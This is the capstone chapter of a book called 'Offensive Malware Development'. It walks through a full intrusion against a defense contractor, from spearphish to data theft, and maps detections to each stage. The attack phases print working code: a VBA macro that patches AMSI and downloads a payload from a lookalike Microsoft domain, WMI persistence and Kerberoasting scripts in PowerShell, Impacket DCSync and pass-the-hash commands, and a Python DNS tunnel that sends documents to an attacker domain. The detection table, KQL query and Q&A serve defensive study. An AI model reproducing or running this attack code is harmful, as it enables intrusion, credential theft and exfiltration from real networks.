Chapter 227 — Book Capstone

End-to-End Attack Chain

Every chapter in this book covered one technique in isolation. Real intrusions chain them: initial access flows into execution, execution into persistence, persistence into privilege escalation, escalation into lateral movement, lateral movement into final objectives. This capstone synthesizes the full kill chain — from spearphish to crown jewel exfiltration — with detection opportunities mapped at each stage.

Capstone Scenario

A nation-state actor targets a defense contractor. The objective: steal design documents from an air-gapped engineering workstation. The attack spans: spearphish → macro execution → AMSI bypass → reflective DLL load → WMI persistence → Kerberoasting → DCSync → lateral movement to the domain controller → AD trust abuse to reach the engineering segment → LSASS dump → DNS exfiltration of documents.

Attack Chain Overview

FULL ATTACK CHAIN — MITRE ATT&CK MAPPING ════════════════════════════════════════════════════════════════════════════ PHASE TECHNIQUE CHAPTER REF ATT&CK ID ───────────────────────────────────────────────────────────────────────── Initial Access Spearphish+Macro Ch200 T1566.001 Execution VBA AMSI bypass Ch209 T1562.001 Reflective DLL inject Ch202 T1055.001 Defense Evasion ETW patch Ch209 T1562.006 Parent PID spoof Ch209 T1134.004 Custom packer+AES Ch214 T1027.002 Persistence WMI subscription Ch210 T1546.003 COM hijacking Ch210 T1546.015 Priv Escalation Token steal (kernel) Ch206 T1134.001 Kerberoasting Ch211 T1558.003 Cred Access LSASS MiniDump Ch207 T1003.001 DCSync Ch207 T1003.006 Lateral Movement Pass-the-Hash+SMC Ch208 T1550.002 WMI lateral Ch208 T1021.003 Discovery AD enumeration Ch211 T1018 Collection Document staging Ch213 T1560.001 Exfiltration DNS tunneling Ch213 T1048.003 ════════════════════════════════════════════════════════════════════════════

Phase 1: Initial Access (T1566.001)

' VBA macro — document_open with AMSI bypass + shellcode download:
Private Sub Document_Open()
    ' Patch AMSI (AmsiScanBuffer → mov eax,1; ret)
    Dim h As LongPtr : h = GetModuleHandleA("amsi.dll")
    Dim fn As LongPtr : fn = GetProcAddress(h, "AmsiScanBuffer")
    Dim patch(5) As Byte
    patch(0) = &HB8 : patch(1) = 1 : patch(4) = &HC3
    Dim old As LongPtr
    VirtualProtect fn, 6, &H40, old
    CopyMemory fn, patch(0), 6

    ' Download packed reflective DLL in memory
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", "https://updates.microsoft-cdn.net/svchost.dll", False
    xhr.Send
    ' AES decrypt payload from response body then inject reflectively
    InjectReflective xhr.responseBody
End Sub

Phase 2: Execution and Persistence (T1055.001, T1546.003)

// Reflective loader skeleton — runs in the context of winword.exe:
// 1. Maps itself into new RWX allocation
// 2. Resolves imports by walking PEB InLoadOrderModuleList
// 3. Fixes relocations; calls DllMain(DLL_PROCESS_ATTACH)
// [See ch202 for full reflective DLL loader code]

# WMI persistence (PowerShell, runs from injected DLL):
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.Name = "Windows Update Check"
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __TimerEvent WHERE TimerID='UpdateCheck'"
$filter.Put()

$consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = "Windows Update Check"
$consumer.CommandLineTemplate = "powershell.exe -nop -w h -enc "
$consumer.Put()

$binding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filter.__PATH
$binding.Consumer = $consumer.__PATH
$binding.Put()

Phase 3: Privilege Escalation (T1558.003)

# Kerberoasting from standard domain user context:
# Enumerate SPNs in AD:
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samAccountName=krbtgt))"
$searcher.PropertiesToLoad.AddRange(@("sAMAccountName","servicePrincipalName"))
$results = $searcher.FindAll()
foreach ($r in $results) {
    $spn = $r.Properties.serviceprincipalname[0]
    $ticket = [System.IdentityModel.Tokens.KerberosRequestorSecurityToken]::new($spn)
    # Extract ticket bytes, base64 encode, send to C2
}

# After offline crack (hashcat -m 13100 hash.txt rockyou.txt):
# Acquired svc_backup credentials → used for DCSync

Phase 4: Lateral Movement — Pass-the-Hash and DCSync (T1550.002, T1003.006)

# DCSync via Impacket secretsdump (using cracked svc_backup creds):
secretsdump.py CORP/svc_backup:'P@ssw0rd!'@dc01.corp.local \
  -just-dc-user Administrator

# Output: Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::

# PtH lateral movement to engineering jump server:
wmiexec.py -hashes aad3b435....:NTLM_HASH Administrator@eng-jump01.corp.local \
  "dir \\\\airops-ws01\\c$\\designs"

# Cobalt Strike equivalents:
# dcsync CORP\Administrator
# pth CORP\Administrator NTLM_HASH
# jump psexec64 eng-jump01.corp.local beacon_x64.exe

Phase 5: Objectives — Exfiltration via DNS (T1048.003)

# From the target workstation, exfiltrate documents via DNS tunnel:
import socket, base64, time, os

EXFIL_DOMAIN = "exfil.attacker-c2.net"
CHUNK_SIZE = 40

def exfil_file(path):
    with open(path, 'rb') as f:
        data = f.read()
    fname_enc = base64.b32encode(os.path.basename(path).encode()).decode().lower().rstrip('=')
    for i, offset in enumerate(range(0, len(data), CHUNK_SIZE)):
        chunk = base64.b32encode(data[offset:offset+CHUNK_SIZE]).decode().lower().rstrip('=')
        fqdn = f"{i}.{fname_enc}.{chunk}.{EXFIL_DOMAIN}"
        try: socket.gethostbyname(fqdn)
        except: pass
        time.sleep(3)  # low and slow — evade DLP volume thresholds

exfil_file(r'C:\Designs\ProjectX_Final.pdf')

Full-Chain Detection Opportunities

Attack phaseDetection ruleLog sourceATT&CK
AMSI patch (initial access)VirtualProtect on amsi.dll + write to code sectionSysmon EID 10 + kernel callbackT1562.001
Reflective DLL injectionUnsigned DLL loaded into WINWORD.EXE address spaceSysmon EID 7 (ImageLoad without signature)T1055.001
ETW patchVirtualProtect on ntdll.dll in non-NT processSysmon EID 10 + ETW provider state changeT1562.006
WMI persistenceNew __EventFilter + FilterToConsumerBinding creationSysmon EID 19/20/21; WMI-Activity EID 5861T1546.003
KerberoastingRC4 TGS-REQ for service ticket (etype 23)Windows Security EID 4769 with etype=0x17T1558.003
DCSyncDsGetNCChanges DRSR RPC from non-DCWindows Security EID 4662 (GUID match)T1003.006
Pass-the-Hash lateralNTLM logon (Type 3) without prior Type 2; Network logon with no KerberosWindows Security EID 4624 LogonType=3 + AuthPackage=NTLMT1550.002
DNS exfiltrationHigh-entropy subdomain, high NXDOMAIN rate, large query volume to rare domainDNS server logs, Zeek DNS, proxy logsT1048.003
-- MDE KQL: Full attack chain correlation — stitch 5 techniques on one device
let target = "workstation42";
let amsi_patch = DeviceEvents
| where DeviceName == target
| where ActionType == "OpenProcess"
| where FileName =~ "amsi.dll";
let reflective = DeviceImageLoadEvents
| where DeviceName == target
| where not(isnotempty(Signer))
| where InitiatingProcessFileName =~ "WINWORD.EXE";
let wmi_persist = DeviceEvents
| where DeviceName == target
| where ActionType has "WmiActivity";
let kerberoast = DeviceEvents
| where DeviceName == target
| where AdditionalFields has "etype=0x17" or AdditionalFields has "etype23";
let dcsync = DeviceEvents
| where DeviceName == target
| where ActionType == "DirectoryServiceAccess"
| where AdditionalFields has "DsGetNCChanges";
union amsi_patch, reflective, wmi_persist, kerberoast, dcsync
| project Timestamp, ActionType, InitiatingProcessFileName, AdditionalFields
| order by Timestamp asc

Book Complete

Offensive Malware Development — 227 chapters, 25 major topic areas, full detection engineering coverage across the MITRE ATT&CK framework.

Book Summary — What to Apply in Detection Engineering

Every chapter in this book was written from the inside-out: understand the offensive technique precisely so you know exactly what artifacts it produces, at what layer, and with what reliability. The core principle is the Pyramid of Pain — hash-based and IP-based detection is the floor, not the ceiling. Technique-based behavioral detections that are impossible to remove without abandoning the attack are the goal.

The detection engineering workflow that ties this book together:

  1. Understand the technique — read the offensive code and know what kernel calls, registry writes, or network events it generates (Chapters 200–221).
  2. Identify the artifact — which log source captures it, at which event ID, with what field values (every chapter's detection section).
  3. Write the Sigma rule — portable, review-able, source-agnostic detection logic that can be translated to any SIEM.
  4. Translate to KQL — production-ready MDE/Sentinel queries that run against real telemetry.
  5. Measure coverage — DeTT&CT mapping, ATT&CK Navigator heatmap, Atomic Red Team validation that the rule fires (Chapter 218, 226).
  6. Reduce FPs, increase fidelity — baseline legitimate use, scope to production assets, add behavioral context (Chapter 216, 226).
  7. Correlate across the kill chain — a single technique detection is noisy; a correlated detection across 3+ techniques on one host in 60 minutes is a high-confidence incident (Chapter 217, 227).

Q&A

After completing this book, a detection engineer joins a new SOC and finds that 80% of detection rules are hash-based IOC matches. How do you build an evidence-based case for shifting to TTP-based detection, and what is the first rule you would write to demonstrate the difference?

The evidence-based case starts with data the organization already has. Pull the last 90 days of confirmed incidents and ask one question: how many were detected by a hash-match versus by behavioral anomaly? In most organizations the answer is that nearly all confirmed incidents were detected by behavioral rules (EDR behavioral AI, anomaly alerts, threat hunting) or reported by external parties — not by hash-based IOC matches. Hash-based rules generate enormous volumes of "checked and no match" non-events for known-good files, while the actual attacker files that caused incidents never matched any prior hash because they were custom-built or recompiled for the operation. This data makes the case concretely: hash-matching generates zero coverage against novel samples and provides detection only against known-exact files that attackers trivially avoid reusing.

The first behavioral rule to write, because it demonstrates the contrast most clearly, is LSASS process access detection (T1003.001). The hash-based equivalent would be "alert on mimikatz.exe SHA256 = abc123" — trivially evaded by renaming, recompiling, or using any of the dozens of LSASS-dumping alternatives. The behavioral rule instead alerts on "any process that opens LSASS with PROCESS_VM_READ (0x10) or PROCESS_ALL_ACCESS (0x1FFFFF) and is not a whitelisted security product." This detects mimikatz, ProcDump, comsvcs MiniDump via rundll32, NanoDump, and any future tool that dumps LSASS memory — because the behavior is fundamental to the technique, not to a specific tool. When you run Atomic Red Team T1003.001 and demonstrate that the behavioral rule fires for all three atomic tests while the hash rule fires for zero (since AtomicRedTeam downloads fresh samples each time), the demonstration is complete. The behavioral rule cost more to tune (you need to build the LSASS-accessor whitelist) but it earns its value permanently, while the hash rule's value decays to zero within hours of the attacker recompiling.